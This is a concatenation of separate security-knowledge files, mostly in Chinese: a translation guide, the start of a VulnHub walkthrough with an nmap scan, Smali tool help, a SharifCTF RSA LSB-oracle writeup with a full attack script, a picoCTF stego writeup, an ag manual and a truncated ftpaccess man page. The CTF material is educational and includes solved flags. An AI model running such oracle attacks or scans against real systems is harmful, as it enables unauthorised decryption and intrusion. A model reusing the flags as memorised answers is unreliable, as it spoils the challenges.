假设我们想要翻译的文档为 `docs/zh/docs/contribute/translation.md`。那么,我们可以把该文件拷贝到 `docs/en/docs/contribute/translation.md`。同时,如果该文件依赖了图片,我们也需要拷贝对应的图片文件夹到相应的目录下。
然后,我们可以打开中文对应的 mkdocs.yml,即 `docs/zh/docs/mkdocs.yml`,找到我们想要翻译的文件所在的位置,比如
```yaml hl_lines="8"
nav:
- Start:
- index.md
- discussion.md
- contribute/before-contributing.md
- contribute/basic-contribute-approach.md
- contribute/documentation-requirement.md
- contribute/translation.md
```
那我们应该在英语的配置文件中相应的层次结构处添加对应的文件。
```yaml hl_lines="8"
nav:
- Start:
- index.md
- discussion.md
- contribute/before-contributing.md
- contribute/basic-contribute-approach.md
- contribute/documentation-requirement.md
- contribute/translation.md
```
然后,我们就可以对其进行翻译。
最后,我们可以使用 `python3 scripts/doc.py live en` 来预览修改后的内容。
## 新增全新语言
如果你打算添加一种尚未进行任何翻译的语言,比如说日语( `jp`),你可以使用
```python
python3 scripts/doc.py new-lang jp
```
来进行初始化。此后,你就可以按照上一小节的方式来进行贡献了。
|
sec-knowleage
|
# TOMMY BOY: 1
> https://download.vulnhub.com/tommyboy/TommyBoy1dot0.ova
靶场IP:`192.168.32.216`
扫描对外端口服务
```
┌──(root💀kali)-[/tmp]
└─# nmap -p 1-65535 -sV 192.168.32.216
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 05:40 EDT
Nmap scan report for 192.168.32.216
Host is up (0.00066s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
8008/tcp open http Apache httpd 2.4.18 ((Ubuntu))
65534/tcp open ftp ProFTPD
MAC Address: 00:0C:29:A5:C1:85 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.85 seconds
```
访问80端口

访问8008端口

|
sec-knowleage
|
---
title: Smali
categories: Hardware Hacking
tags: [Smali,Hardware Hacking,kali linux]
date: 2019-06-25 11:23:00
---
0x00 Smali介绍
-------------
smali/baksmali是针对Android的Java虚拟机环境dalvik使用的dex格式的编译/反汇编工具。它的语法大体上基于Jasmin/dedexer 的语法,并支持dex格式的全部功能(注释,调试信息,行信息等等)
源地址: https://github.com/JesusFreke/smali
[smali主页](http://baksmali.com/) | [Kali上的smali软件库](http://git.kali.org/gitweb/?p=packages/smali.git;a=summary)
- 作者: Ben Gruver
- 证书: BSD
0x01 包含的工具
----------------
#### smali–将一组smali文件编译为dex文件
```
root@kali:~# smali --help
用法: smali [-v] [-h] [<命令> [<参数>]]
参数:
-h,-?,--help - 显示帮助信息
-v,--version - 显示smali的版本信息并退出
命令:
assemble(ass,as,a) - 将smali文件编译为dex文件。
help(h) - 显示帮助信息
使用smali help <命令>来查看特定命令的帮助信息
```
```
root@kali:~# smali help assemble
用法: smali assemble [<参数>] [<文件>|<路径>]+
将smali文件编译为dex文件。
参数:
-a,--api <api> - 编译时使用的numeric库的api层数。 (默认值是15)
--allow-odex-opcodes,--allow-odex,--ao - 允许编译同dalvik兼容的odex操作码。
-h,-?,--help - 显示对应指令的用法说明。
-j,--jobs <n> - 指定使用的线程数。n是每个核心的线程数。 (默认值是4)
-o,--output <file> - 指定输出的dex文件名或路径。 (默认文件名是out.dex)
--verbose - 生成冗余错误信息。
<[<file>|<dir>]+> - 编译指定的文件。如果指定的是路径,会递归地搜索路径以找到全部的.smali文件。
```
#### baksmali – 对dex文件进行反汇编或dump
```
root@kali:~# baksmali --help
用法: baksmali [--版本] [--帮助] [<指令 [<参数>]]
参数:
--help,-h,-? - 显示用法说明
--version,-v - 显示baksmali的版本信息并退出
指令:
deodex(de,x) - 逆向还原odex/oat文件
disassemble(dis,d) - 反汇编dex文件。
dump(du) - 为指定的dex文件输出带注释的16进制dump文件
help(h) - 显示用法帮助
list(l) - 列出dex文件中的对象。
使用baksmali help <command>来获取针对特定指令的帮助信息。
```
```
root@kali:~# baksmali help deodex
用法: baksmali deodex [<参数>] <文件>
逆向还原odex/oat文件
参数:
-a,--api <api> - 被反汇编的文件的numeric库的api层数。 (默认值是-1)
--accessor-comments,--ac <布朗值> - Generate helper comments for synthetic
accessors. 默认开启,使用--accessor-comments=false来禁用(默认值是真)
--allow-odex-opcodes - 允许反汇编odex操作码,即使输出结果不能被重新编译。
-b,--bootclasspath,--bcp <类路径> - 一个指定用来在分析dex文件时包含在启动类路径里的文件的列表,每个文件独立成行。如果没有人为指定,baksmali会尝试自动选择合适的默认值。在分析oat文件时,这一路径可以被直接指定为设备的boot.oat文件路径。可以用一个单独的空字串来表示应该使用空启动类路径。(例如 --bootclasspath "")
使用baksmali help classpath来查看更多帮助信息。
-c,--classpath,--cp <类路径> - 一个指定用来在分析dex文件时包含在类路径里的额外文件的列表,每个文件独立成行。它们会在执行任何启动类路径指令之后被添加至类路径中。
--check-package-private-access,--package-private,--checkpp,--pp - 在计算虚表索引时使用包私有访问检查。对于oat文件,这一功能默认开启。对于odex文件,此功能只在处理4.2.0版本的文件时需要开启。在4.2.1版本中已恢复。
--classes <类> - 指定一个用逗号隔开的类列表。工具将只反汇编这些类。
--code-offsets,--offsets,--off - 在每一条指令前添加注释,说明它在方法内的代码偏移。
-d,--classpath-dir,--cpd,--dir <dir> - 指定搜索类路径文件的目录。这条指令可以多次使用以指定多个要搜索的目录。将会以输入这些目录的顺序搜索它们。
--debug-info,--di <布朗值> - 指定是否在输出中包括调试信息(.local, .param, .line, etc.)。此功能默认开启使用 --debug-info=false来禁用此功能。(默认值是真)
-h,-?,--help - 显示此指令的帮助信息。
--implicit-references,--implicit,--ir -为当前文件的方法和字段使用隐式方法和字段引用(不写出类名称)。
--inline-table,--inline,--it <文件> - 指定一个包含自定义的入列方法表的文件以使用此方法。查看smali Github repo中的"deodexerant"工具以了解怎样从使用dalvik的设备中dump入列方法表。
-j,--jobs <数值> - 指定使用的线程数。设定对于每一个可用的核心的默认值(默认值为4)
-l,--use-locals - 在反汇编时,将非参数寄存器的数量输出至.locals而非.registers。
--normalize-virtual-methods,--norm,--nvm - 在方法已被声明的情况下将virtual方法正常化以使用基类。
-o,--output <目录> - 指定反汇编文件的输出目录。(默认值是out)
--parameter-registers,--preg,--pr <布朗值> - 对存放方法参数或是方法入口的寄存器使用pNN语法。此设定默认启用,使用 --parameter-registers=false来禁用它。(默认值是真)
-r,--register-info <指定的寄存器信息> - 在每一条指令之前或之后增加注释来说明寄存器类型。参数值是用逗号隔开的以下之一:ALL, ALLPRE, ALLPOST, ARGS, DEST, MERGE和FULLMERGE。使用baksmali help register-info来获取更多帮助信息。
--resolve-resources,--rr <资源前缀> <public.xml文件> - 这条指令将使工具尝试在字节码中搜索全部的资源ID引用,并添加一条含有引用资源的名称的注释。参数可以接受两个值:一个强制的资源前缀和指向public.xml文件的路径。例如:--resolve-resources android.R framework/res/values/public.xml。这项参数可以被多次指定以提供来自多个包的资源。
--sequential-labels,--seq,--sl - 用符合标记类型的连续序列号来生成标记,而不是使用默认的字节码地址。
<file> - 指定一个dex/apk/oat/odex文件。对于包含有多个dex文件的apk文件或oat文件,可以直接指定路径,将apk/oat文件当作目录。例如:"app.apk/classes2.dex"。
使用"baksmali help input"来查看更多帮助信息。
```
```
root@kali:~# baksmali help disassemble
用法: baksmali disassemble [<参数>] <文件>
反汇编dex文件。
参数:
-a,--api <api> - 被反汇编的文件的numeric库的api层数。 (默认值是-1)
--accessor-comments,--ac <布朗值> - 为人工访问器生成帮助注释。默认是真,使用--accessor-comments=false命令来禁用。(默认值是真)
--allow-odex-opcodes - 允许反汇编odex操作码,即使反汇编结果可能无法被重新编译
-b,--bootclasspath,--bcp <类路径> - 一个指定用来在分析dex文件时包含在启动类路径里的文件的列表,每个文件独立成行。如果没有人为指定,baksmali会尝试自动选择合适的默认值。在分析oat文件时,这一路径可以被直接指定为设备的boot.oat文件路径。可以用一个单独的空字串来表示应该使用空启动类路径。(例如 --bootclasspath "")
使用baksmali help classpath来查看更多帮助信息。
-c,--classpath,--cp <classpath> - 一个指定用来在分析dex文件时包含在类路径里的额外文件的列表,每个文件独立成行。它们会在执行任何启动类路径指令之后被添加至类路径中。
--classes <classes> - 指定一个用逗号隔开的类列表。工具将只反汇编这些类。
--code-offsets,--offsets,--off - 在每一条指令前添加注释,说明它在方法内的代码偏移。
-d,--classpath-dir,--cpd,--dir <dir> - 指定搜索类路径文件的目录。这条指令可以多次使用以指定多个要搜索的目录。将会以输入这些目录的顺序搜索它们。
--debug-info,--di <boolean> - 指定是否在输出中包括调试信息(.local, .param, .line, etc.)。此功能默认开启使用 --debug-info=false来禁用此功能。(默认值是真)
-h,-?,--help - 显示此指令的帮助信息。
--implicit-references,--implicit,--ir -为当前文件的方法和字段使用隐式方法和字段引用(不写出类名称)。
--inline-table,--inline,--it <文件> - 指定一个包含自定义的入列方法表的文件以使用此方法。查看smali Github repo中的"deodexerant"工具以了解怎样从使用dalvik的设备中dump入列方法表。
-j,--jobs <数值> - 指定使用的线程数。设定对于每一个可用的核心的默认值(默认值为4)
-l,--use-locals - 在反汇编时,将非参数寄存器的数量输出至.locals而非.registers。
--normalize-virtual-methods,--norm,--nvm - 在方法已被声明的情况下将virtual方法正常化以使用基类。
-o,--output <目录> - 指定反汇编文件的输出目录。(默认值是out)
--parameter-registers,--preg,--pr <布朗值> - 对存放方法参数或是方法入口的寄存器使用pNN语法。此设定默认启用,使用 --parameter-registers=false来禁用它。(默认值是真)
-r,--register-info <指定的寄存器信息> - 在每一条指令之前或之后增加注释来说明寄存器类型。参数值是用逗号隔开的以下之一:ALL, ALLPRE, ALLPOST, ARGS, DEST, MERGE和FULLMERGE。使用baksmali help register-info来获取更多帮助信息。
--resolve-resources,--rr <资源前缀> <public.xml文件> - 这条指令将使工具尝试在字节码中搜索全部的资源ID引用,并添加一条含有引用资源的名称的注释。参数可以接受两个值:一个强制的资源前缀和指向public.xml文件的路径。例如:--resolve-resources android.R framework/res/values/public.xml。这项参数可以被多次指定以提供来自多个包的资源。
--sequential-labels,--seq,--sl - 用符合标记类型的连续序列号来生成标记,而不是使用默认的字节码地址。
<file> - 指定一个dex/apk/oat/odex文件。对于包含有多个dex文件的apk文件或oat文件,可以直接指定路径,将apk/oat文件当作目录。例如:"app.apk/classes2.dex"。
使用"baksmali help input"来查看更多帮助信息。
```
```
root@kali:~# baksmali help dump
用法: baksmali dump [<参数>] <文件>
显示指定的dex文件的带注释的十六进制dump文件
参数:
-a,--api <api> - 被反汇编的文件的numeric库的api层数。 (默认值是-1)
-h,-?,--help - 显示此指令的帮助信息。
<file> - 指定一个dex/apk/oat/odex文件。对于包含有多个dex文件的apk文件或oat文件,可以直接指定路径,将apk/oat文件当作目录。例如:"app.apk/classes2.dex"。
使用"baksmali help input"来查看更多帮助信息。
```
```
root@kali:~# baksmali help list
用法: baksmali list [<参数>] [<指令 [<指令参数>]]
输出dex文件里的的对象。
参数:
-h,-?,--help - 显示此指令的帮助信息。
指令:
classes(class,c) - 输出dex文件里的类。
dependencies(deps,dep) - 输出oedx/oat文件中已存储的依赖。
dex(d) - 显示apk/oat文件中的dex文件。
fieldoffsets(fieldoffset,fo) - 显示dex文件中的类的实例字段偏移。
fields(field,f) - 显示dex文件的字段表中的字段。
help(h) - 显示此指令的帮助信息。
methods(method,m) - 显示dex文件的方法表中的方法。
strings(string,str,s) - 显示dex文件的字串表中的字串。
types(type,t) - 显示dex文件的类表中的类ID。
vtables(vtable,v) - 显示dex文件中的虚方法表。
```
0x02 用法示例
----------------
`root@kali:~# 即将推出`
|
sec-knowleage
|
# Lobotomized LSB Oracle (crypto 400)
###ENG
[PL](#pl-version)
This was a follow up for `LSB Oracle` task.
Again we get a [binary](lobotomized_lsb_oracle.vmp.exe.zip) which gives RSA public key and LSB of plaintext.
We also get an encrypted flag.
The difference here is that apparently the binary can make mistakes this time.
It seemed initially a rather hard task, because mistakes generate exponential growth in checks.
We can't also tell if the oracle made mistake or not so we were puzzled here for a while.
Finally we decided to run the standard LSB Oracle attack from previous task on this one and check what we can get.
What we got was quite encouraging - we part of the flag `SharifCTF{76a7e30ea5e�` right!
This meant that the first oracle mistake happened at the very end.
We also run this more times to make sure it's consistent - and it was, the results were always the same.
We assumed that maybe there are only a few mistakes and we can fix them semi-interactively.
The mistake in decoding the flag is simple to spot - if a byte is "settled" and is not from hex charset it has to be wrong.
This means that there had to be an oracle mistake no earlier than 8 bits in the past.
We checked first a single bitflip and it was enough - flipping oracle result for bit 848 caused the whole flag decoding to finish correctly!
So we simply run:
```python
from subprocess import Popen, PIPE
from Crypto.Util.number import long_to_bytes
def oracle(ciphertext):
print("sent ciphertext " + str(ciphertext))
p = Popen(['lobotomized_lsb_oracle.vmp.exe', '/decrypt'], stdout=PIPE, stdin=PIPE, stderr=PIPE)
result = p.communicate(str(ciphertext) + "\n-1")
lsb = int(result[0][97])
print(lsb, result)
return lsb
def brute_flag_2(encrypted_flag, n, e, oracle_fun, flips):
flag_count = 1
n_count = 1
flag_lower_bound = 0
flag_upper_bound = n
ciphertext = encrypted_flag
mult = 1
while flag_upper_bound > flag_lower_bound + 1:
ciphertext = (ciphertext * pow(2, e, n)) % n
flag_count *= 2
n_count = n_count * 2 - 1
print("upper = %d" % flag_upper_bound)
print("upper flag = %s" % long_to_bytes(flag_upper_bound))
print("lower = %d" % flag_lower_bound)
print("lower flag = %s" % long_to_bytes(flag_lower_bound))
print("bit = %d" % mult)
print("bit = %d" % mult)
print("flag_count = %d" % flag_count)
print("n_count = %d" % n_count)
oracle_result = oracle_fun(ciphertext)
if mult in flips:
oracle_result = not oracle_result
if oracle_result == 0:
flag_upper_bound = n * n_count / flag_count
else:
flag_lower_bound = n * n_count / flag_count
n_count += 1
mult += 1
return flag_upper_bound
def main():
n = 94169898764475155086179365872915864925768243050855426387910613522303337327416930459077578555524838413579345103633071500300104580298306187507383687796776619261744561887287065152410825040924957174425131901014950571780211869823508452987101620679856181308669517708916215765377471785309709279780997993371462202127
ct = 84554310261580598058211620872297995265063480196893812976334022270327838015482739129096939702314740821259766144865677921673974339162910708930818463109733348984687023660294660726179053438750361754457786927212462355725758670143043124242928370865662017903815787388480232771504943423128214544949007416507395402507
result = brute_flag_2(ct, n, 65537, oracle, [848])
print(long_to_bytes(result))
main()
```
And recovered the flag: `SharifCTF{76a7e30ea5f3edd488182c4845a6858e}`
###PL version
To była kolejna część do zadania `LSB Oracle`.
Znowu otrzymaliśmy [binarke](lobotomized_lsb_oracle.vmp.exe.zip) która podawała klucz publiczny RSA oraz LSB dla plaintextu.
Dostaliśmy też zaszyfrowaną flagę.
Różnica była taka, że binarka potencjalnie mogła się mylić tym razem.
Wydawało się to początkowo bardzo ciężkie, bo błędy oznaczają wykładniczy wzrost złożoności.
Dodatkowo nie byliśmy w stanie stwierdzić czy wyrocznia się pomliła czy też nie, więc przez długi czas nie wiedzieliśmy co zrobić.
Finalnie zdecydowaliśmy się uruchomić standardowy solver dla LSB Oracle z poprzedniego zadania tutaj i zobaczyć co dostaniemy.
Wyniki napawały optymizmem - udało się odzyskać poprawnie część flagi: `SharifCTF{76a7e30ea5e�`
To oznaczało, że wyrocznia pomyliła się dopiero gdzieś daleko przy końcu dekodowania.
Uruchomiliśmy to jeszcze kilka razy żeby upewnić się, że wyniki są deterministyczne - i były.
Założyliśmy, że może błędów jest tylko kilka i można je pół-interaktywnie poprawić.
Błąd w dekodowaniu flagi łatwo zauważyć - jeśli bajt jest już "ustalony" i nie należy do charsetu hex to znaczy że jest zły.
To oznacza że wyrocznia musiała popełnić błąd nie dalej niż na 8 bitów wstecz.
Sprawdziliśmy na początek pojedyńcze flipy i okazało się że to wystarczyło - odpowiedzi dla bitu 848 spowodowała zdekodowanie całej flagi do końca!
Uruchomiliśmy:
```python
from subprocess import Popen, PIPE
from Crypto.Util.number import long_to_bytes
def oracle(ciphertext):
print("sent ciphertext " + str(ciphertext))
p = Popen(['lobotomized_lsb_oracle.vmp.exe', '/decrypt'], stdout=PIPE, stdin=PIPE, stderr=PIPE)
result = p.communicate(str(ciphertext) + "\n-1")
lsb = int(result[0][97])
print(lsb, result)
return lsb
def brute_flag_2(encrypted_flag, n, e, oracle_fun, flips):
flag_count = 1
n_count = 1
flag_lower_bound = 0
flag_upper_bound = n
ciphertext = encrypted_flag
mult = 1
while flag_upper_bound > flag_lower_bound + 1:
ciphertext = (ciphertext * pow(2, e, n)) % n
flag_count *= 2
n_count = n_count * 2 - 1
print("upper = %d" % flag_upper_bound)
print("upper flag = %s" % long_to_bytes(flag_upper_bound))
print("lower = %d" % flag_lower_bound)
print("lower flag = %s" % long_to_bytes(flag_lower_bound))
print("bit = %d" % mult)
print("bit = %d" % mult)
print("flag_count = %d" % flag_count)
print("n_count = %d" % n_count)
oracle_result = oracle_fun(ciphertext)
if mult in flips:
oracle_result = not oracle_result
if oracle_result == 0:
flag_upper_bound = n * n_count / flag_count
else:
flag_lower_bound = n * n_count / flag_count
n_count += 1
mult += 1
return flag_upper_bound
def main():
n = 94169898764475155086179365872915864925768243050855426387910613522303337327416930459077578555524838413579345103633071500300104580298306187507383687796776619261744561887287065152410825040924957174425131901014950571780211869823508452987101620679856181308669517708916215765377471785309709279780997993371462202127
ct = 84554310261580598058211620872297995265063480196893812976334022270327838015482739129096939702314740821259766144865677921673974339162910708930818463109733348984687023660294660726179053438750361754457786927212462355725758670143043124242928370865662017903815787388480232771504943423128214544949007416507395402507
result = brute_flag_2(ct, n, 65537, oracle, [848])
print(long_to_bytes(result))
main()
```
I odzyskaliśmy flagę: `SharifCTF{76a7e30ea5f3edd488182c4845a6858e}`
|
sec-knowleage
|
# Reading Between the Eyes
Forensics, 150 points
## Description:
> Stego-Saurus hid a message for you in this image, can you retreive it?

## Solution:
We can use [zsteg](https://github.com/zed-0xff/zsteg) in order to recover the flag.
`zsteg` is a tool to detect stegano-hidden data in PNGs & BMPs.
```console
root@kali:/media/sf_CTFs/pico/Reading_Between_the_Eyes# zsteg husky.png
b1,r,lsb,xy .. text: "^5>c[rvyzrf@"
b1,rgb,lsb,xy .. text: "picoCTF{r34d1ng_b37w33n_7h3_by73s}"
b1,abgr,msb,xy .. file: PGP\011Secret Sub-key -
b2,g,msb,xy .. text: "ADTU@PEPA"
b3,abgr,msb,xy .. text: "t@Wv!Wt\tGtA"
b4,r,msb,xy .. text: "0Tt7F3Saf"
b4,g,msb,xy .. text: "2g'uV `3"
b4,b,lsb,xy .. text: "##3\"TC%\"2f"
b4,b,msb,xy .. text: " uvb&b@f!"
b4,rgb,lsb,xy .. text: "1C5\"RdWD"
b4,rgb,msb,xy .. text: "T E2d##B#VuQ`"
b4,bgr,lsb,xy .. text: "A%2RTdGG"
b4,bgr,msb,xy .. text: "EPD%4\"c\"#CUVqa "
b4,rgba,lsb,xy .. text: "?5/%/d_tO"
b4,abgr,msb,xy .. text: "EO%O#/c/2/C_e_q"
```
The flag: picoCTF{r34d1ng_b37w33n_7h3_by73s}
|
sec-knowleage
|
Trivia 1 (trivia, 10p, 729 solves)
> This family of malware has gained notoriety after anti-virus and threat intelligence companies claimed that it was being used by several Chinese military groups.
PlugX
|
sec-knowleage
|
ag
===
ack 的升级版,C语言编写,更快更人性化
## 补充说明
> 摘自 <https://github.com/ggreer/the_silver_searcher> 项目的 Readme.md
- 它比ack快一个数量级。
- 它忽略了你的 `.gitignore` 和 `.hgignore` 中的文件模式。
- 如果你的源码库里有你不想搜索的文件,只要把它们的模式添加到一个.ignore文件里。(*cough* *.min.js*cough*)
- 这个命令的名字比ack短33%,而且所有的键都在主行上!
### 语法
```shell
ag [options] pattern [path ...]
ag [可选项] 匹配模式 [路径...]
```
### 选项
```shell
输出选项:
--ackmate 以 AckMate-parseable 的格式显示结果
-A --after [LINES] 显示匹配行之后的行(默认2行)
-B --before [LINES] 显示匹配行之前的行(默认2行)
--[no]break 不同文件中匹配到的内容新建一行显示(默认开启)
-c --count 只显示每个文件中匹配到的数量 (通常与匹配行数不同)
--[no]color 在结果中打印颜色代码(默认启用)
--color-line-number 行号的颜色代码(默认值为:1;33)。
--color-match 匹配结果的颜色代码(默认值为:30;43)。
--color-path 路径名称的颜色代码(默认值为:1;32)
--column 打印结果中的列号
--[no]filename 打印文件名(除非搜索单个文件,否则启用)。
-H --[no]heading 在每个文件匹配前输出文件名(默认开启)
-C --context [LINES] 显示匹配行上下两行(默认2行)
--[no]group 和这些一样: --[no]break --[no]heading
-g --filename-pattern PATTERN 打印匹配PATTERN的文件名
-l --files-with-matches 显示包含匹配的文件名(不显示匹配的行)
-L --files-without-matches 只显示不包含匹配项的文件名
--print-all-files 打印所有搜索到的文件的标题,甚至那些不包含匹配的文件。
--[no]numbers 打印行号。默认情况是在搜索流时省略行号。
-o --only-matching 只输出每行匹配的部分
--print-long-lines 在很长的行上打印匹配信息(默认:>2k字符)。
--passthrough 当搜索一个流时,打印所有的行,即使它们不匹配。
--silent 抑制所有的日志信息,包括错误
--stats 打印统计(扫描的文件、花费的时间等)。
--stats-only 打印统计信息,不打印其他信息(与搜索单个文件时的--计数相同)。
--vimgrep 像vim的:vimgrep /pattern/g那样打印结果(它报告每一行的匹配结果)
-0 --null --print0 用null分隔文件名(用于'xargs -0')。
搜索选项:
-a --all-types 搜索所有文件(包括隐藏文件)
-D --debug 可笑的调试(可能没有用)
--depth NUM 目录搜索最大深度(默认25)
-f --follow 跟随链接进行搜索
-F --fixed-strings 为了与grep兼容,--literal的别名。
-G --file-search-regex 根据正则匹配搜索指定类型的文件
--hidden 搜索隐藏文件 (但遵从 .*ignore 文件)
-i --ignore-case 不区分大小写匹配
--ignore PATTERN 忽略匹配 PATTERN 的文件/目录(也允许使用文字文件/目录名称)
--ignore-dir NAME 为了与ack兼容,--ignore的别名
-m --max-count NUM 在一个文件中最大匹配的数量(默认: 10,000)
--one-device 不跟随其他设备的链接搜索
-p --path-to-ignore STRING 在STRING使用.ignore文件
-Q --literal 不要将PATTERN解析为正则表达式
-s --case-sensitive 敏感地匹配案例
-S --smart-case 不区分大小写匹配,除非 PATTERN 包含大写字符
--search-binary 搜索二进制文件
-t --all-text 搜索所有文本文件(不包括隐藏文件)
-u --unrestricted 搜索所有文件 (忽略 .ignore, .gitignore, 比如:搜索二进制和隐藏文件)
-U --skip-vcs-ignores 忽略VCS的忽略文件(指的是 .gitignore,.hgignore;仍然遵从.ignore)。
-v --invert-match 反向匹配
-w --word-regexp 只匹配整个单词
-W --width NUM 在NUM字符后截断匹配行
-z --search-zip 搜索压缩文件中的内容
文件类型:
搜索可以限制在某些类型的文件中,例如:
ag --html needle 结果输出到指定类型文件
- 在后缀为 .htm、.html、.shtml 或 .xhtml 的文件中搜索“needle”
有关支持的文件类型的列表,可以运行:
ag --list-file-types 列出支持的文件类型
```
### 实例
列出当前目录下包含 `npm` 的文件
```shell
➜ vue-project ag npm ./
README.md
16:npm install
22:npm run dev
28:npm run build
```
|
sec-knowleage
|
version: '2'
services:
curl:
image: vulhub/openssl:1.1.1m-with-curl
command: sleep infinity
|
sec-knowleage
|
.TH ftpaccess 5
.SH NAME
ftpaccess \- ftpd的配置档
.SH "描述 DESCRIPTION"
这个ftpaccess档案是用来配置下述功能的运作
.PP
存取功能(AccessCapabilities)
.TP
autogroup<群组名称><类别>[<类别>...]
如果一个匿名的(ANONYMOUS)使用者是任何<类别>的成员,那麽ftp伺服器将会实行一次setegid()到该<群组名称>。这允许特殊类别的匿名使用者存取group-and-owner-read-only的档案以及目录。<群组名称>是/etc/group里的一个有效群组(或是你的getgrent()呼叫所查阅的地方)。
.TP
class<类别><类型列表><全球位址>[<全球位址>...]
定义使用者的<类别>,使用<全球位址>格式的来源位址。可以定义<类别>多个成员。可以有多个"class"指令列出该类别额外的成员。如果多个"calss"指令可以应用到该次的连线期间,会使用在access档案中第一个列出的。尝试为一台主机定义一个有效的类别失败的话将会引起存取被拒绝。<类型列表>是一个以任何"anonymous","guest"及"real"关键字所组成使用逗点隔开的列表。如果包含"real"关键字,该类别可以符合使用FTP存取真实的帐号的使用者,而如果包含"anonymous"关键字该类别可以符合使用匿名FTP的使用者。而"guest"关键字符合访客存取帐号(参阅"guestgroup"以取得更多资讯)
<全球位址>可以是一个全球的领域名称或是一个全球的数字
位址。
.TP
deny<全球位址><讯息档案>
永远拒绝符合<全球位址>主机的存取。显示<讯息档案>。<全球位址>可以是"!nameserved"用来拒绝没有名称伺服器服务中的节点的存取。
.TP
guestgroup<群组名称>[<群组名称>...]
如果一个真实的(REAL)使用者是任何<群组名称>的成员,该次连线期间的设立完全如同匿名的FTP一般。换句话说,会执行一次chroot(),而且该使用者不再被允许发出USER及PASS指令。<群组名称>是/etc/group里的一个有效群组(或是你的getgrent()呼叫所查阅的地方)。
该使用者的home目录必须适当地加以设定,跟匿名FTP所要做的完全一样。在passwd项目里的home目录栏位被分成两个目录。第一个栏位将是chroot()呼叫的根目录参数。第二个部份是相对於该根目录的使用者home目录。这两半是以"/./"分隔开的。
在/etc/passwd里,该真实的项目:
.nf
guest1::100:92:Guest
Account:/ftp/./incoming:/etc/ftponly
.fi
当guest1成功地签入的时候,此ftp伺服器将会执行一次chroot("/ftp")然後接著chdir("/incoming")。该guest使用者将只能够存取/ftp下的目录结构(此目录对guest1而言看起来跟用起来就像是/目录),就如同一个匿名FTP使用者所见到的。
.TP
limit<类别><时间><讯息档案>
在某<时间>将某<类别>限制为个使用者,若使用者的存取被拒绝则显示<讯息档案>内容。限制的检查只在签入时期实行。如果多个"limit"指令可以应用到该次连线期间的话,会使用第一个适合的。尝试定义一个有效的限制失败,或是值为-1的限制,等於不设限。<时间>使用UUCPL.sys档案相同的格式。
.TP
loginfails<数字>
在<数字>签入失败後,记录一个重复签入失败(repeated loginfailures)讯息并且终止该FTP连线。预设值是5。
.TP
private
使用者签入之後,SITEGROUP及SITEGPASS指令可以用来指定一增强存取的群组以及与之有关的密码。如果该群组名称以及密码是有效的,该使用者变成(经由setegid())一个在群组存取档案/etc/ftpgroups中所指定群组的成员。
该群组存取档案的格式是:
存取群组名称:经编码的密码:真实群组名称
其中的存取群组是一个随意的(文数字+标点)字串。经编码的密码是经由crypt(3)编码过的密码,与/etc/passwd里的完全一样。真实群组名称是/etc/group里所列出有效群组其中的一个名称。
注意:要使这个选项能运作於匿名的FTP使用者,该FTP伺服器必须保持使/etc/group永久开启而且将群组存取档案载入记忆体。这意指(1)该ftp伺服器现在使一个额外的档案描述子(filedescriptor)开启,以及(2)经由SITEGROUP使用者必须的密码以及存取权利的承认在一次FTP连线期间以内将会是静态的。如果你有紧急的需求要*现在*改变存取群组以及/或是密码,那麽你只要砍掉(kill)所有正在执行中的FTP伺服器。
.PP
资讯功能(InformationalCapabilities)
.TP
banner<路径>
作用与message指令类似,除了此banner是在使用者键入使用者名称/密码之前显示以外。该<路径>系相对於真实的系统根目录,不是匿名FTP所使用的根目录。
警告:这个指令的使用可以完全地防止不相容的FTP客户端程式使用该FTP伺服器。并非所有的客户端都能够处理多行回应(multi-lineresponses)(这正是banner显示的方式)
.TP
email<名称>
定义ftp档案处(archive)维护者的电子邮递位址。这个字串将会在每一次使用%E代换变数(magiccookie)的时候印出。
.TP
message<路径>{<时机>{<类别>...}}
定义一个配合<路径>的档案名称在使用者签入时或是在使用切换工作目录指令的时候ftpd将会显示该档案的内容。该项<时机>参数可以是"LOGIN"或"CWD=<目录>"。如果<时机>是"CWD=<目录>"的话,<目录>指定将会引发该通知的新预设目录。
该选择性的<类别>指定允许该讯息只对特殊类别的成员显示。可以指定超过一个类别。
在说明档中可以有代换变数(magiccookies)这会使ftp伺服器以指定的文字字串取代
该变数:
.RS
.TP
%T
本地时间(form ThuNov1517:12:42 1990)
.TP
%F
CWD所在分割区的剩馀空间(kbytes)[并非所有系统都有支援]
.TP
%C
目前的工作目录
.TP
%E
定义在ftpaccess中维护者的电子邮递位址
.TP
%R
远端主机名称
.TP
%L
本地主机名称
.TP
%U
签入时所给的使用者名称
.TP
%M
这个类别所允许的最大使用者数目
.TP
%N
这个类别目前的使用者数目
.RE
此项message将只显示一次以避免惹使用者讨厌。要记得当MESSAGEs被一匿名的FTP使用者引发时,该<路径>必须是相对於匿名FTP目录树的根目录。
.TP
readme<路径>{<时机>{<类别>}}
定义一个配合<路径>的档案名称在使用者签入时或是在使用切换工作目录指令的时候ftpd将会告知使用者该档案存在及修改的日期。<时机>参数可以是"LOGIN"或"CWD=<目录>"。若<时机>是"CWD=<目录>"的话,<目录>指定将会引发该通知的新预设目录。此项讯息将只显示一次以避免打扰使用者。要记得当README讯息被一匿名的FTP使用者引发时,该<路径>必须是相对於匿名FTP目录树的根目录。
该选择性的<类别>指定允许该讯息只对特殊类别的成员显示。可以指定超过一个类别。
.PP
记录功能(LoggingCapabilities)
.TP
logcommands<类型列表>
以使用者启动个别的记录指令。<类型列表>是一个以任何的"anonymous","guest"及"real"关键字所组成使用逗点隔开的列表。如果包含"real"关键字,将会为使用FTP存取真实帐号的使用者做记录,而如果包含"anonymous"关键字则将会为使用匿名FTP的使用者做记录。"guest"关键字符合访客存取帐号(参阅"guestgroup"以取得更多资讯)
.TP
logtransfers<类型列表><目录>
